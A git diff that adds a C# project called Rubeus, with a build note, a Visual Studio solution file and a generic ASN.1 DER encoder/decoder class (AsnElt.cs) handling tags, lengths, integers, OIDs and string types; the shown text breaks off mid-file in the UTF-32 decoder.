+Rubeus has been built against .NET 3.5 and is compatible with [Visual Studio 2015 Community Edition](https://go.microsoft.com/fwlink/?LinkId=532606&clcid=0x409). Simply open up the project .sln, choose "release", and build.
\ No newline at end of file
diff --git a/Rubeus.sln b/Rubeus.sln
new file mode 100755
index 00000000..fbc5c142
--- /dev/null
+++ b/Rubeus.sln
@@ -0,0 +1,22 @@
+
+Microsoft Visual Studio Solution File, Format Version 12.00
+# Visual Studio 14
+VisualStudioVersion = 14.0.25420.1
+MinimumVisualStudioVersion = 10.0.40219.1
+Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Rubeus", "Rubeus\Rubeus.csproj", "{658C8B7F-3664-4A95-9572-A3E5871DFC06}"
+EndProject
+Global
+ GlobalSection(SolutionConfigurationPlatforms) = preSolution
+ Debug|Any CPU = Debug|Any CPU
+ Release|Any CPU = Release|Any CPU
+ EndGlobalSection
+ GlobalSection(ProjectConfigurationPlatforms) = postSolution
+ {658C8B7F-3664-4A95-9572-A3E5871DFC06}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
+ {658C8B7F-3664-4A95-9572-A3E5871DFC06}.Debug|Any CPU.Build.0 = Debug|Any CPU
+ {658C8B7F-3664-4A95-9572-A3E5871DFC06}.Release|Any CPU.ActiveCfg = Release|Any CPU
+ {658C8B7F-3664-4A95-9572-A3E5871DFC06}.Release|Any CPU.Build.0 = Release|Any CPU
+ EndGlobalSection
+ GlobalSection(SolutionProperties) = preSolution
+ HideSolutionNode = FALSE
+ EndGlobalSection
+EndGlobal
diff --git a/Rubeus/Asn1/AsnElt.cs b/Rubeus/Asn1/AsnElt.cs
new file mode 100755
index 00000000..9be6680e
--- /dev/null
+++ b/Rubeus/Asn1/AsnElt.cs
@@ -0,0 +1,2291 @@
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Text;
+
+namespace Asn1 {
+
+/*
+ * An AsnElt instance represents a decoded ASN.1 DER object. It is
+ * immutable.
+ */
+
+public class AsnElt {
+
+ /*
+ * Universal tag values.
+ */
+ public const int BOOLEAN = 1;
+ public const int INTEGER = 2;
+ public const int BIT_STRING = 3;
+ public const int OCTET_STRING = 4;
+ public const int NULL = 5;
+ public const int OBJECT_IDENTIFIER = 6;
+ public const int Object_Descriptor = 7;
+ public const int EXTERNAL = 8;
+ public const int REAL = 9;
+ public const int ENUMERATED = 10;
+ public const int EMBEDDED_PDV = 11;
+ public const int UTF8String = 12;
+ public const int RELATIVE_OID = 13;
+ public const int SEQUENCE = 16;
+ public const int SET = 17;
+ public const int NumericString = 18;
+ public const int PrintableString = 19;
+ public const int T61String = 20;
+ public const int TeletexString = 20;
+ public const int VideotexString = 21;
+ public const int IA5String = 22;
+ public const int UTCTime = 23;
+ public const int GeneralizedTime = 24;
+ public const int GraphicString = 25;
+ public const int VisibleString = 26;
+ public const int GeneralString = 27;
+ public const int UniversalString = 28;
+ public const int CHARACTER_STRING = 29;
+ public const int BMPString = 30;
+
+ /*
+ * Tag classes.
+ */
+ public const int UNIVERSAL = 0;
+ public const int APPLICATION = 1;
+ public const int CONTEXT = 2;
+ public const int PRIVATE = 3;
+
+ /*
+ * Internal rules
+ * ==============
+ *
+ * Instances are immutable. They reference an internal buffer
+ * that they never modify. The buffer is never shown to the
+ * outside; when decoding and creating, copies are performed
+ * where necessary.
+ *
+ * If the instance was created by decoding, then:
+ * objBuf points to the array containing the complete object
+ * objOff start offset for the object header
+ * objLen complete object length
+ * valOff offset for the first value byte
+ * valLen value length (excluding the null-tag, if applicable)
+ * hasEncodedHeader is true
+ *
+ * If the instance was created from an explicit value or from
+ * sub-elements, then:
+ * objBuf contains the value, or is null
+ * objOff is 0
+ * objLen is -1, or contains the computed object length
+ * valOff is 0
+ * valLen is -1, or contains the computed value length
+ * hasEncodedHeader is false
+ *
+ * If objBuf is null, then the object is necessarily constructed
+ * (Sub is not null). If objBuf is not null, then the encoded
+ * value is known (the object may be constructed or primitive),
+ * and valOff/valLen identify the actual value within objBuf.
+ *
+ * Tag class and value, and sub-elements, are referenced from
+ * specific properties.
+ */
+
+ byte[] objBuf;
+ int objOff;
+ int objLen;
+ int valOff;
+ int valLen;
+ bool hasEncodedHeader;
+
+ AsnElt()
+ {
+ }
+
+ /*
+ * The tag class for this element.
+ */
+ int tagClass_;
+ public int TagClass {
+ get {
+ return tagClass_;
+ }
+ private set {
+ tagClass_ = value;
+ }
+ }
+
+ /*
+ * The tag value for this element.
+ */
+ int tagValue_;
+ public int TagValue {
+ get {
+ return tagValue_;
+ }
+ private set {
+ tagValue_ = value;
+ }
+ }
+
+ /*
+ * The sub-elements. This is null if this element is primitive.
+ * DO NOT MODIFY this array.
+ */
+ AsnElt[] sub_;
+ public AsnElt[] Sub {
+ get {
+ return sub_;
+ }
+ private set {
+ sub_ = value;
+ }
+ }
+
+ /*
+ * The "constructed" flag: true for an elements with sub-elements,
+ * false for a primitive element.
+ */
+ public bool Constructed {
+ get {
+ return Sub != null;
+ }
+ }
+
+ /*
+ * The value length. When the object is BER-encoded with an
+ * indefinite length, the value length includes all the sub-objects
+ * but NOT the formal null-tag marker.
+ */
+ public int ValueLength {
+ get {
+ if (valLen < 0) {
+ if (Constructed) {
+ int vlen = 0;
+ foreach (AsnElt a in Sub) {
+ vlen += a.EncodedLength;
+ }
+ valLen = vlen;
+ } else {
+ valLen = objBuf.Length;
+ }
+ }
+ return valLen;
+ }
+ }
+
+ /*
+ * The encoded object length (complete with header).
+ */
+ public int EncodedLength {
+ get {
+ if (objLen < 0) {
+ int vlen = ValueLength;
+ objLen = TagLength(TagValue)
+ + LengthLength(vlen) + vlen;
+ }
+ return objLen;
+ }
+ }
+
+ /*
+ * Check that this element is constructed. An exception is thrown
+ * if this is not the case.
+ */
+ public void CheckConstructed()
+ {
+ if (!Constructed) {
+ throw new AsnException("not constructed");
+ }
+ }
+
+ /*
+ * Check that this element is primitive. An exception is thrown
+ * if this is not the case.
+ */
+ public void CheckPrimitive()
+ {
+ if (Constructed) {
+ throw new AsnException("not primitive");
+ }
+ }
+
+ /*
+ * Get a sub-element. This method throws appropriate exceptions
+ * if this element is not constructed, or the requested index
+ * is out of range.
+ */
+ public AsnElt GetSub(int n)
+ {
+ CheckConstructed();
+ if (n < 0 || n >= Sub.Length) {
+ throw new AsnException("no such sub-object: n=" + n);
+ }
+ return Sub[n];
+ }
+
+ /*
+ * Check that the tag is UNIVERSAL with the provided value.
+ */
+ public void CheckTag(int tv)
+ {
+ CheckTag(UNIVERSAL, tv);
+ }
+
+ /*
+ * Check that the tag has the specified class and value.
+ */
+ public void CheckTag(int tc, int tv)
+ {
+ if (TagClass != tc || TagValue != tv) {
+ throw new AsnException("unexpected tag: " + TagString);
+ }
+ }
+
+ /*
+ * Check that this element is constructed and contains exactly
+ * 'n' sub-elements.
+ */
+ public void CheckNumSub(int n)
+ {
+ CheckConstructed();
+ if (Sub.Length != n) {
+ throw new AsnException("wrong number of sub-elements: "
+ + Sub.Length + " (expected: " + n + ")");
+ }
+ }
+
+ /*
+ * Check that this element is constructed and contains at least
+ * 'n' sub-elements.
+ */
+ public void CheckNumSubMin(int n)
+ {
+ CheckConstructed();
+ if (Sub.Length < n) {
+ throw new AsnException("not enough sub-elements: "
+ + Sub.Length + " (minimum: " + n + ")");
+ }
+ }
+
+ /*
+ * Check that this element is constructed and contains no more
+ * than 'n' sub-elements.
+ */
+ public void CheckNumSubMax(int n)
+ {
+ CheckConstructed();
+ if (Sub.Length > n) {
+ throw new AsnException("too many sub-elements: "
+ + Sub.Length + " (maximum: " + n + ")");
+ }
+ }
+
+ /*
+ * Get a string representation of the tag class and value.
+ */
+ public string TagString {
+ get {
+ return TagToString(TagClass, TagValue);
+ }
+ }
+
+ static string TagToString(int tc, int tv)
+ {
+ switch (tc) {
+ case UNIVERSAL:
+ break;
+ case APPLICATION:
+ return "APPLICATION:" + tv;
+ case CONTEXT:
+ return "CONTEXT:" + tv;
+ case PRIVATE:
+ return "PRIVATE:" + tv;
+ default:
+ return String.Format("INVALID:{0}/{1}", tc, tv);
+ }
+
+ switch (tv) {
+ case BOOLEAN: return "BOOLEAN";
+ case INTEGER: return "INTEGER";
+ case BIT_STRING: return "BIT_STRING";
+ case OCTET_STRING: return "OCTET_STRING";
+ case NULL: return "NULL";
+ case OBJECT_IDENTIFIER: return "OBJECT_IDENTIFIER";
+ case Object_Descriptor: return "Object_Descriptor";
+ case EXTERNAL: return "EXTERNAL";
+ case REAL: return "REAL";
+ case ENUMERATED: return "ENUMERATED";
+ case EMBEDDED_PDV: return "EMBEDDED_PDV";
+ case UTF8String: return "UTF8String";
+ case RELATIVE_OID: return "RELATIVE_OID";
+ case SEQUENCE: return "SEQUENCE";
+ case SET: return "SET";
+ case NumericString: return "NumericString";
+ case PrintableString: return "PrintableString";
+ case TeletexString: return "TeletexString";
+ case VideotexString: return "VideotexString";
+ case IA5String: return "IA5String";
+ case UTCTime: return "UTCTime";
+ case GeneralizedTime: return "GeneralizedTime";
+ case GraphicString: return "GraphicString";
+ case VisibleString: return "VisibleString";
+ case GeneralString: return "GeneralString";
+ case UniversalString: return "UniversalString";
+ case CHARACTER_STRING: return "CHARACTER_STRING";
+ case BMPString: return "BMPString";
+ default:
+ return String.Format("UNIVERSAL:" + tv);
+ }
+ }
+
+ /*
+ * Get the encoded length for a tag.
+ */
+ static int TagLength(int tv)
+ {
+ if (tv <= 0x1F) {
+ return 1;
+ }
+ int z = 1;
+ while (tv > 0) {
+ z ++;
+ tv >>= 7;
+ }
+ return z;
+ }
+
+ /*
+ * Get the encoded length for a length.
+ */
+ static int LengthLength(int len)
+ {
+ if (len < 0x80) {
+ return 1;
+ }
+ int z = 1;
+ while (len > 0) {
+ z ++;
+ len >>= 8;
+ }
+ return z;
+ }
+
+ /*
+ * Decode an ASN.1 object. The provided buffer is internally
+ * copied. Trailing garbage is not tolerated.
+ */
+ public static AsnElt Decode(byte[] buf)
+ {
+ return Decode(buf, 0, buf.Length, true);
+ }
+
+ /*
+ * Decode an ASN.1 object. The provided buffer is internally
+ * copied. Trailing garbage is not tolerated.
+ */
+ public static AsnElt Decode(byte[] buf, int off, int len)
+ {
+ return Decode(buf, off, len, true);
+ }
+
+ /*
+ * Decode an ASN.1 object. The provided buffer is internally
+ * copied. If 'exactLength' is true, then trailing garbage is
+ * not tolerated (it triggers an exception).
+ */
+ public static AsnElt Decode(byte[] buf, bool exactLength)
+ {
+ return Decode(buf, 0, buf.Length, exactLength);
+ }
+
+ /*
+ * Decode an ASN.1 object. The provided buffer is internally
+ * copied. If 'exactLength' is true, then trailing garbage is
+ * not tolerated (it triggers an exception).
+ */
+ public static AsnElt Decode(byte[] buf, int off, int len,
+ bool exactLength)
+ {
+ int tc, tv, valOff, valLen, objLen;
+ bool cons;
+ objLen = Decode(buf, off, len,
+ out tc, out tv, out cons,
+ out valOff, out valLen);
+ if (exactLength && objLen != len) {
+ throw new AsnException("trailing garbage");
+ }
+ byte[] nbuf = new byte[objLen];
+ Array.Copy(buf, off, nbuf, 0, objLen);
+ return DecodeNoCopy(nbuf, 0, objLen);
+ }
+
+ /*
+ * Internal recursive decoder. The provided array is NOT copied.
+ * Trailing garbage is ignored (caller should use the 'objLen'
+ * field to learn the total object length).
+ */
+ static AsnElt DecodeNoCopy(byte[] buf, int off, int len)
+ {
+ int tc, tv, valOff, valLen, objLen;
+ bool cons;
+ objLen = Decode(buf, off, len,
+ out tc, out tv, out cons,
+ out valOff, out valLen);
+ AsnElt a = new AsnElt();
+ a.TagClass = tc;
+ a.TagValue = tv;
+ a.objBuf = buf;
+ a.objOff = off;
+ a.objLen = objLen;
+ a.valOff = valOff;
+ a.valLen = valLen;
+ a.hasEncodedHeader = true;
+ if (cons) {
+ List subs = new List();
+ off = valOff;
+ int lim = valOff + valLen;
+ while (off < lim) {
+ AsnElt b = DecodeNoCopy(buf, off, lim - off);
+ off += b.objLen;
+ subs.Add(b);
+ }
+ a.Sub = subs.ToArray();
+ } else {
+ a.Sub = null;
+ }
+ return a;
+ }
+
+ /*
+ * Decode the tag and length, and get the value offset and length.
+ * Returned value if the total object length.
+ * Note: when an object has indefinite length, the terminated
+ * "null tag" will NOT be considered part of the "value length".
+ */
+ static int Decode(byte[] buf, int off, int maxLen,
+ out int tc, out int tv, out bool cons,
+ out int valOff, out int valLen)
+ {
+ int lim = off + maxLen;
+ int orig = off;
+
+ /*
+ * Decode tag.
+ */
+ CheckOff(off, lim);
+ tv = buf[off ++];
+ cons = (tv & 0x20) != 0;
+ tc = tv >> 6;
+ tv &= 0x1F;
+ if (tv == 0x1F) {
+ tv = 0;
+ for (;;) {
+ CheckOff(off, lim);
+ int c = buf[off ++];
+ if (tv > 0xFFFFFF) {
+ throw new AsnException(
+ "tag value overflow");
+ }
+ tv = (tv << 7) | (c & 0x7F);
+ if ((c & 0x80) == 0) {
+ break;
+ }
+ }
+ }
+
+ /*
+ * Decode length.
+ */
+ CheckOff(off, lim);
+ int vlen = buf[off ++];
+ if (vlen == 0x80) {
+ /*
+ * Indefinite length. This is not strict DER, but
+ * we allow it nonetheless; we must check that
+ * the value was tagged as constructed, though.
+ */
+ vlen = -1;
+ if (!cons) {
+ throw new AsnException("indefinite length"
+ + " but not constructed");
+ }
+ } else if (vlen > 0x80) {
+ int lenlen = vlen - 0x80;
+ CheckOff(off + lenlen - 1, lim);
+ vlen = 0;
+ while (lenlen -- > 0) {
+ if (vlen > 0x7FFFFF) {
+ throw new AsnException(
+ "length overflow");
+ }
+ vlen = (vlen << 8) + buf[off ++];
+ }
+ }
+
+ /*
+ * Length was decoded, so the value starts here.
+ */
+ valOff = off;
+
+ /*
+ * If length is indefinite then we must explore sub-objects
+ * to get the value length.
+ */
+ if (vlen < 0) {
+ for (;;) {
+ int tc2, tv2, valOff2, valLen2;
+ bool cons2;
+ int slen;
+
+ slen = Decode(buf, off, lim - off,
+ out tc2, out tv2, out cons2,
+ out valOff2, out valLen2);
+ if (tc2 == 0 && tv2 == 0) {
+ if (cons2 || valLen2 != 0) {
+ throw new AsnException(
+ "invalid null tag");
+ }
+ valLen = off - valOff;
+ off += slen;
+ break;
+ } else {
+ off += slen;
+ }
+ }
+ } else {
+ if (vlen > (lim - off)) {
+ throw new AsnException("value overflow");
+ }
+ off += vlen;
+ valLen = off - valOff;
+ }
+
+ return off - orig;
+ }
+
+ static void CheckOff(int off, int lim)
+ {
+ if (off >= lim) {
+ throw new AsnException("offset overflow");
+ }
+ }
+
+ /*
+ * Get a specific byte from the value. This provided offset is
+ * relative to the value start (first value byte has offset 0).
+ */
+ public int ValueByte(int off)
+ {
+ if (off < 0) {
+ throw new AsnException("invalid value offset: " + off);
+ }
+ if (objBuf == null) {
+ int k = 0;
+ foreach (AsnElt a in Sub) {
+ int slen = a.EncodedLength;
+ if ((k + slen) > off) {
+ return a.ValueByte(off - k);
+ }
+ }
+ } else {
+ if (off < valLen) {
+ return objBuf[valOff + off];
+ }
+ }
+ throw new AsnException(String.Format(
+ "invalid value offset {0} (length = {1})",
+ off, ValueLength));
+ }
+
+ /*
+ * Encode this object into a newly allocated array.
+ */
+ public byte[] Encode()
+ {
+ byte[] r = new byte[EncodedLength];
+ Encode(r, 0);
+ return r;
+ }
+
+ /*
+ * Encode this object into the provided array. Encoded object
+ * length is returned.
+ */
+ public int Encode(byte[] dst, int off)
+ {
+ return Encode(0, Int32.MaxValue, dst, off);
+ }
+
+ /*
+ * Encode this object into the provided array. Only bytes
+ * at offset between 'start' (inclusive) and 'end' (exclusive)
+ * are actually written. The number of written bytes is returned.
+ * Offsets are relative to the object start (first tag byte).
+ */
+ int Encode(int start, int end, byte[] dst, int dstOff)
+ {
+ /*
+ * If the encoded value is already known, then we just
+ * dump it.
+ */
+ if (hasEncodedHeader) {
+ int from = objOff + Math.Max(0, start);
+ int to = objOff + Math.Min(objLen, end);
+ int len = to - from;
+ if (len > 0) {
+ Array.Copy(objBuf, from, dst, dstOff, len);
+ return len;
+ } else {
+ return 0;
+ }
+ }
+
+ int off = 0;
+
+ /*
+ * Encode tag.
+ */
+ int fb = (TagClass << 6) + (Constructed ? 0x20 : 0x00);
+ if (TagValue < 0x1F) {
+ fb |= (TagValue & 0x1F);
+ if (start <= off && off < end) {
+ dst[dstOff ++] = (byte)fb;
+ }
+ off ++;
+ } else {
+ fb |= 0x1F;
+ if (start <= off && off < end) {
+ dst[dstOff ++] = (byte)fb;
+ }
+ off ++;
+ int k = 0;
+ for (int v = TagValue; v > 0; v >>= 7, k += 7);
+ while (k > 0) {
+ k -= 7;
+ int v = (TagValue >> k) & 0x7F;
+ if (k != 0) {
+ v |= 0x80;
+ }
+ if (start <= off && off < end) {
+ dst[dstOff ++] = (byte)v;
+ }
+ off ++;
+ }
+ }
+
+ /*
+ * Encode length.
+ */
+ int vlen = ValueLength;
+ if (vlen < 0x80) {
+ if (start <= off && off < end) {
+ dst[dstOff ++] = (byte)vlen;
+ }
+ off ++;
+ } else {
+ int k = 0;
+ for (int v = vlen; v > 0; v >>= 8, k += 8);
+ if (start <= off && off < end) {
+ dst[dstOff ++] = (byte)(0x80 + (k >> 3));
+ }
+ off ++;
+ while (k > 0) {
+ k -= 8;
+ if (start <= off && off < end) {
+ dst[dstOff ++] = (byte)(vlen >> k);
+ }
+ off ++;
+ }
+ }
+
+ /*
+ * Encode value. We must adjust the start/end window to
+ * make it relative to the value.
+ */
+ EncodeValue(start - off, end - off, dst, dstOff);
+ off += vlen;
+
+ /*
+ * Compute copied length.
+ */
+ return Math.Max(0, Math.Min(off, end) - Math.Max(0, start));
+ }
+
+ /*
+ * Encode the value into the provided buffer. Only value bytes
+ * at offsets between 'start' (inclusive) and 'end' (exclusive)
+ * are written. Actual number of written bytes is returned.
+ * Offsets are relative to the start of the value.
+ */
+ int EncodeValue(int start, int end, byte[] dst, int dstOff)
+ {
+ int orig = dstOff;
+ if (objBuf == null) {
+ int k = 0;
+ foreach (AsnElt a in Sub) {
+ int slen = a.EncodedLength;
+ dstOff += a.Encode(start - k, end - k,
+ dst, dstOff);
+ k += slen;
+ }
+ } else {
+ int from = Math.Max(0, start);
+ int to = Math.Min(valLen, end);
+ int len = to - from;
+ if (len > 0) {
+ Array.Copy(objBuf, valOff + from,
+ dst, dstOff, len);
+ dstOff += len;
+ }
+ }
+ return dstOff - orig;
+ }
+
+ /*
+ * Copy a value chunk. The provided offset ('off') and length ('len')
+ * define the chunk to copy; the offset is relative to the value
+ * start (first value byte has offset 0). If the requested window
+ * exceeds the value boundaries, an exception is thrown.
+ */
+ public void CopyValueChunk(int off, int len, byte[] dst, int dstOff)
+ {
+ int vlen = ValueLength;
+ if (off < 0 || len < 0 || len > (vlen - off)) {
+ throw new AsnException(String.Format(
+ "invalid value window {0}:{1}"
+ + " (value length = {2})", off, len, vlen));
+ }
+ EncodeValue(off, off + len, dst, dstOff);
+ }
+
+ /*
+ * Copy the value into the specified array. The value length is
+ * returned.
+ */
+ public int CopyValue(byte[] dst, int off)
+ {
+ return EncodeValue(0, Int32.MaxValue, dst, off);
+ }
+
+ /*
+ * Get a copy of the value as a freshly allocated array.
+ */
+ public byte[] CopyValue()
+ {
+ byte[] r = new byte[ValueLength];
+ EncodeValue(0, r.Length, r, 0);
+ return r;
+ }
+
+ /*
+ * Get the value. This may return a shared buffer, that MUST NOT
+ * be modified.
+ */
+ byte[] GetValue(out int off, out int len)
+ {
+ if (objBuf == null) {
+ /*
+ * We can modify objBuf because CopyValue()
+ * called ValueLength, thus valLen has been
+ * filled.
+ */
+ objBuf = CopyValue();
+ off = 0;
+ len = objBuf.Length;
+ } else {
+ off = valOff;
+ len = valLen;
+ }
+ return objBuf;
+ }
+
+ /*
+ * Interpret the value as a BOOLEAN.
+ */
+ public bool GetBoolean()
+ {
+ if (Constructed) {
+ throw new AsnException(
+ "invalid BOOLEAN (constructed)");
+ }
+ int vlen = ValueLength;
+ if (vlen != 1) {
+ throw new AsnException(String.Format(
+ "invalid BOOLEAN (length = {0})", vlen));
+ }
+ return ValueByte(0) != 0;
+ }
+
+ /*
+ * Interpret the value as an INTEGER. An exception is thrown if
+ * the value does not fit in a 'long'.
+ */
+ public long GetInteger()
+ {
+ if (Constructed) {
+ throw new AsnException(
+ "invalid INTEGER (constructed)");
+ }
+ int vlen = ValueLength;
+ if (vlen == 0) {
+ throw new AsnException("invalid INTEGER (length = 0)");
+ }
+ int v = ValueByte(0);
+ long x;
+ if ((v & 0x80) != 0) {
+ x = -1;
+ for (int k = 0; k < vlen; k ++) {
+ if (x < ((-1L) << 55)) {
+ throw new AsnException(
+ "integer overflow (negative)");
+ }
+ x = (x << 8) + (long)ValueByte(k);
+ }
+ } else {
+ x = 0;
+ for (int k = 0; k < vlen; k ++) {
+ if (x >= (1L << 55)) {
+ throw new AsnException(
+ "integer overflow (positive)");
+ }
+ x = (x << 8) + (long)ValueByte(k);
+ }
+ }
+ return x;
+ }
+
+ /*
+ * Interpret the value as an INTEGER. An exception is thrown if
+ * the value is outside of the provided range.
+ */
+ public long GetInteger(long min, long max)
+ {
+ long v = GetInteger();
+ if (v < min || v > max) {
+ throw new AsnException("integer out of allowed range");
+ }
+ return v;
+ }
+
+ /*
+ * Interpret the value as an INTEGER. Return its hexadecimal
+ * representation (uppercase), preceded by a '0x' or '-0x'
+ * header, depending on the integer sign. The number of
+ * hexadecimal digits is even. Leading zeroes are returned (but
+ * one may remain, to ensure an even number of digits). If the
+ * integer has value 0, then 0x00 is returned.
+ */
+ public string GetIntegerHex()
+ {
+ if (Constructed) {
+ throw new AsnException(
+ "invalid INTEGER (constructed)");
+ }
+ int vlen = ValueLength;
+ if (vlen == 0) {
+ throw new AsnException("invalid INTEGER (length = 0)");
+ }
+ StringBuilder sb = new StringBuilder();
+ byte[] tmp = CopyValue();
+ if (tmp[0] >= 0x80) {
+ sb.Append('-');
+ int cc = 1;
+ for (int i = tmp.Length - 1; i >= 0; i --) {
+ int v = ((~tmp[i]) & 0xFF) + cc;
+ tmp[i] = (byte)v;
+ cc = v >> 8;
+ }
+ }
+ int k = 0;
+ while (k < tmp.Length && tmp[k] == 0) {
+ k ++;
+ }
+ if (k == tmp.Length) {
+ return "0x00";
+ }
+ sb.Append("0x");
+ while (k < tmp.Length) {
+ sb.AppendFormat("{0:X2}", tmp[k ++]);
+ }
+ return sb.ToString();
+ }
+
+ /*
+ * Interpret the value as an OCTET STRING. The value bytes are
+ * returned. This method supports constructed values and performs
+ * the reassembly.
+ */
+ public byte[] GetOctetString()
+ {
+ int len = GetOctetString(null, 0);
+ byte[] r = new byte[len];
+ GetOctetString(r, 0);
+ return r;
+ }
+
+ /*
+ * Interpret the value as an OCTET STRING. The value bytes are
+ * written in dst[], starting at offset 'off', and the total value
+ * length is returned. If 'dst' is null, then no byte is written
+ * anywhere, but the total length is still returned. This method
+ * supports constructed values and performs the reassembly.
+ */
+ public int GetOctetString(byte[] dst, int off)
+ {
+ if (Constructed) {
+ int orig = off;
+ foreach (AsnElt ae in Sub) {
+ ae.CheckTag(AsnElt.OCTET_STRING);
+ off += ae.GetOctetString(dst, off);
+ }
+ return off - orig;
+ }
+ if (dst != null) {
+ return CopyValue(dst, off);
+ } else {
+ return ValueLength;
+ }
+ }
+
+ /*
+ * Interpret the value as a BIT STRING. The bits are returned,
+ * with the "ignored bits" cleared.
+ */
+ public byte[] GetBitString()
+ {
+ int bitLength;
+ return GetBitString(out bitLength);
+ }
+
+ /*
+ * Interpret the value as a BIT STRING. The bits are returned,
+ * with the "ignored bits" cleared. The actual bit length is
+ * written in 'bitLength'.
+ */
+ public byte[] GetBitString(out int bitLength)
+ {
+ if (Constructed) {
+ /*
+ * TODO: support constructed BIT STRING values.
+ */
+ throw new AsnException(
+ "invalid BIT STRING (constructed)");
+ }
+ int vlen = ValueLength;
+ if (vlen == 0) {
+ throw new AsnException(
+ "invalid BIT STRING (length = 0)");
+ }
+ int fb = ValueByte(0);
+ if (fb > 7 || (vlen == 1 && fb != 0)) {
+ throw new AsnException(String.Format(
+ "invalid BIT STRING (start = 0x{0:X2})", fb));
+ }
+ byte[] r = new byte[vlen - 1];
+ CopyValueChunk(1, vlen - 1, r, 0);
+ if (vlen > 1) {
+ r[r.Length - 1] &= (byte)(0xFF << fb);
+ }
+ bitLength = (r.Length << 3) - fb;
+ return r;
+ }
+
+ /*
+ * Interpret the value as a NULL.
+ */
+ public void CheckNull()
+ {
+ if (Constructed) {
+ throw new AsnException(
+ "invalid NULL (constructed)");
+ }
+ if (ValueLength != 0) {
+ throw new AsnException(String.Format(
+ "invalid NULL (length = {0})", ValueLength));
+ }
+ }
+
+ /*
+ * Interpret the value as an OBJECT IDENTIFIER, and return it
+ * (in decimal-dotted string format).
+ */
+ public string GetOID()
+ {
+ CheckPrimitive();
+ if (valLen == 0) {
+ throw new AsnException("zero-length OID");
+ }
+ int v = objBuf[valOff];
+ if (v >= 120) {
+ throw new AsnException(
+ "invalid OID: first byte = " + v);
+ }
+ StringBuilder sb = new StringBuilder();
+ sb.Append(v / 40);
+ sb.Append('.');
+ sb.Append(v % 40);
+ long acc = 0;
+ bool uv = false;
+ for (int i = 1; i < valLen; i ++) {
+ v = objBuf[valOff + i];
+ if ((acc >> 56) != 0) {
+ throw new AsnException(
+ "invalid OID: integer overflow");
+ }
+ acc = (acc << 7) + (long)(v & 0x7F);
+ if ((v & 0x80) == 0) {
+ sb.Append('.');
+ sb.Append(acc);
+ acc = 0;
+ uv = false;
+ } else {
+ uv = true;
+ }
+ }
+ if (uv) {
+ throw new AsnException(
+ "invalid OID: truncated");
+ }
+ return sb.ToString();
+ }
+
+ /*
+ * Get the object value as a string. The string type is inferred
+ * from the tag.
+ */
+ public string GetString()
+ {
+ if (TagClass != UNIVERSAL) {
+ throw new AsnException(String.Format(
+ "cannot infer string type: {0}:{1}",
+ TagClass, TagValue));
+ }
+ return GetString(TagValue);
+ }
+
+ /*
+ * Get the object value as a string. The string type is provided
+ * (universal tag value). Supported string types include
+ * NumericString, PrintableString, IA5String, TeletexString
+ * (interpreted as ISO-8859-1), UTF8String, BMPString and
+ * UniversalString; the "time types" (UTCTime and GeneralizedTime)
+ * are also supported, though, in their case, the internal
+ * contents are not checked (they are decoded as PrintableString).
+ */
+ public string GetString(int type)
+ {
+ if (Constructed) {
+ throw new AsnException(
+ "invalid string (constructed)");
+ }
+ switch (type) {
+ case NumericString:
+ case PrintableString:
+ case IA5String:
+ case TeletexString:
+ case UTCTime:
+ case GeneralizedTime:
+ return DecodeMono(objBuf, valOff, valLen, type);
+ case UTF8String:
+ return DecodeUTF8(objBuf, valOff, valLen);
+ case BMPString:
+ return DecodeUTF16(objBuf, valOff, valLen);
+ case UniversalString:
+ return DecodeUTF32(objBuf, valOff, valLen);
+ default:
+ throw new AsnException(
+ "unsupported string type: " + type);
+ }
+ }
+
+ static string DecodeMono(byte[] buf, int off, int len, int type)
+ {
+ char[] tc = new char[len];
+ for (int i = 0; i < len; i ++) {
+ tc[i] = (char)buf[off + i];
+ }
+ VerifyChars(tc, type);
+ return new string(tc);
+ }
+
+ static string DecodeUTF8(byte[] buf, int off, int len)
+ {
+ /*
+ * Skip BOM.
+ */
+ if (len >= 3 && buf[off] == 0xEF
+ && buf[off + 1] == 0xBB && buf[off + 2] == 0xBF)
+ {
+ off += 3;
+ len -= 3;
+ }
+ char[] tc = null;
+ for (int k = 0; k < 2; k ++) {
+ int tcOff = 0;
+ for (int i = 0; i < len; i ++) {
+ int c = buf[off + i];
+ int e;
+ if (c < 0x80) {
+ e = 0;
+ } else if (c < 0xC0) {
+ throw BadByte(c, UTF8String);
+ } else if (c < 0xE0) {
+ c &= 0x1F;
+ e = 1;
+ } else if (c < 0xF0) {
+ c &= 0x0F;
+ e = 2;
+ } else if (c < 0xF8) {
+ c &= 0x07;
+ e = 3;
+ } else {
+ throw BadByte(c, UTF8String);
+ }
+ while (e -- > 0) {
+ if (++ i >= len) {
+ throw new AsnException(
+ "invalid UTF-8 string");
+ }
+ int d = buf[off + i];
+ if (d < 0x80 || d > 0xBF) {
+ throw BadByte(d, UTF8String);
+ }
+ c = (c << 6) + (d & 0x3F);
+ }
+ if (c > 0x10FFFF) {
+ throw BadChar(c, UTF8String);
+ }
+ if (c > 0xFFFF) {
+ c -= 0x10000;
+ int hi = 0xD800 + (c >> 10);
+ int lo = 0xDC00 + (c & 0x3FF);
+ if (tc != null) {
+ tc[tcOff] = (char)hi;
+ tc[tcOff + 1] = (char)lo;
+ }
+ tcOff += 2;
+ } else {
+ if (tc != null) {
+ tc[tcOff] = (char)c;
+ }
+ tcOff ++;
+ }
+ }
+ if (tc == null) {
+ tc = new char[tcOff];
+ }
+ }
+ VerifyChars(tc, UTF8String);
+ return new string(tc);
+ }
+
+ static string DecodeUTF16(byte[] buf, int off, int len)
+ {
+ if ((len & 1) != 0) {
+ throw new AsnException(
+ "invalid UTF-16 string: length = " + len);
+ }
+ len >>= 1;
+ if (len == 0) {
+ return "";
+ }
+ bool be = true;
+ int hi = buf[off];
+ int lo = buf[off + 1];
+ if (hi == 0xFE && lo == 0xFF) {
+ off += 2;
+ len --;
+ } else if (hi == 0xFF && lo == 0xFE) {
+ off += 2;
+ len --;
+ be = false;
+ }
+ char[] tc = new char[len];
+ for (int i = 0; i < len; i ++) {
+ int b0 = buf[off ++];
+ int b1 = buf[off ++];
+ if (be) {
+ tc[i] = (char)((b0 << 8) + b1);
+ } else {
+ tc[i] = (char)((b1 << 8) + b0);
+ }
+ }
+ VerifyChars(tc, BMPString);
+ return new string(tc);
+ }
+
+ static string DecodeUTF32(byte[] buf, int off, int len)
+ {
+ if ((len & 3) != 0) {
+ throw new AsnException(
+ "invalid UTF-32 string: length = " + len);
+ }
+ len >>= 2;
